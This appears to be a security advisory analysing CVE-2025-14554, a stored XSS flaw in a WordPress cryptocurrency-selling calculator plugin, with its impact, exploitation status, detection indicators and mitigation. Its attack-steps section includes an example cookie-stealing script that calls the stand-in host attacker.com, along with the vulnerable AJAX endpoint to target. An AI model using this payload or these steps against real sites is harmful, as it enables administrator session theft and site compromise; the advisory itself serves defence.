CVE-2025-14554: 
WordPress vulnerability analysis and mitigation

CVE-2025-14554 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Sell BTC – Cryptocurrency Selling Calculator" WordPress plugin by hayyatapps, affecting all versions up to and including 1.5. Unauthenticated attackers can inject arbitrary web scripts via the orderform_data AJAX action, which are stored in order records and execute when an administrator views the Orders page in the WordPress admin dashboard. The vulnerability was disclosed on January 31, 2026, and assigned a CVSS v3.1 base score of 7.2 (High) (Wordfence, Red Hat CVE). Version 1.5 includes only a partial patch, meaning the vulnerability may not be fully remediated in that release.

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting), stemming from insufficient input sanitization and output escaping in the plugin's order form handling code (Wordfence). The vulnerable attack surface is the orderform_data AJAX action, which accepts user-supplied data without authentication and stores it directly in order records (see functions/form_tab.php#L12 and Pages/orders.php#L30). When an administrator navigates to the Orders page, the unsanitized payload is rendered in the browser, triggering script execution in the admin context. No authentication or special privileges are required for an attacker to submit the malicious payload (WordPress Trac).

Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of a logged-in WordPress administrator's browser session. This can lead to session token theft, unauthorized administrative actions (such as creating rogue admin accounts, installing malicious plugins, or modifying site content), and potential full site compromise. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the plugin itself to the broader WordPress admin environment (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14554 as of the available data. The EPSS score is approximately 0.137%, indicating a low probability of exploitation in the near term (Feedly). The vulnerability does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the unauthenticated nature of the attack vector lowers the barrier for exploitation significantly, making it accessible to any remote attacker without credentials.

1. Reconnaissance: Identify WordPress sites running the "Sell BTC – Cryptocurrency Selling Calculator" plugin (version ≤1.5) using tools like WPScan, Shodan, or by checking publicly accessible plugin metadata.
2. Craft malicious payload: Prepare a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected into an order form field.
3. Submit via AJAX action: Send an unauthenticated HTTP POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the action parameter set to orderform_data and the malicious script embedded in the order form data fields.
4. Payload stored: The plugin stores the unsanitized input in the order records database without proper escaping.
5. Trigger execution: Wait for a WordPress administrator to navigate to the Orders page in the admin dashboard (/wp-admin/), at which point the stored script executes in the admin's browser context.
6. Achieve objective: Leverage the executed script to steal session cookies, perform admin actions (e.g., add a backdoor user), or redirect the admin to a phishing page (Wordfence, WordPress Trac).

• Network: Unusual or automated POST requests to /wp-admin/admin-ajax.php with action=orderform_data containing HTML/JavaScript tags or encoded script payloads from unexpected IP addresses.
• Logs: WordPress access logs showing repeated AJAX submissions to admin-ajax.php with suspicious orderform_data parameters; admin dashboard access to the Orders page shortly after such submissions.
• Database: Order records in the WordPress database containing <script>, javascript:, onerror=, or other XSS-indicative strings in order form fields.
• Browser/Session: Unexpected outbound requests from administrator browsers to unknown external domains following Orders page visits; new administrator accounts created without authorization.

The vulnerability was partially patched in version 1.5 of the plugin (changesets 3433480 and 3450361); however, the patch is noted as incomplete. Site administrators should monitor the WordPress plugin repository for a fully remediated release and update as soon as one is available (Wordfence). As an interim measure, consider deactivating or removing the plugin until a complete fix is confirmed. A Web Application Firewall (WAF) with XSS filtering rules (such as Wordfence) can help block malicious AJAX submissions targeting this endpoint.

Wordfence disclosed and reported the vulnerability, noting the partial patch status in version 1.5 in their weekly WordPress vulnerability report for January 26–February 1, 2026 (Wordfence Blog). The CVE was referenced in a CISA vulnerability bulletin (SB26-033) and noted in the CVEWatch community on Reddit as part of trending CVEs for early February 2026 (Reddit CVEWatch). Community reaction has been limited, consistent with the low EPSS score and absence of active exploitation reports.